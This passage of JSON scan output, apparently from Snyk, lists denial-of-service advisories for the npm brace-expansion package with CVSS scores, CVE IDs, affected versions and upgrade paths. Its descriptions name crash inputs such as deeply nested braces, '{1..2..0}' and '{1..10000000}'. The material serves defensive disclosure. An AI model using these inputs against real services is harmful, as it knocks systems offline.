"high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## 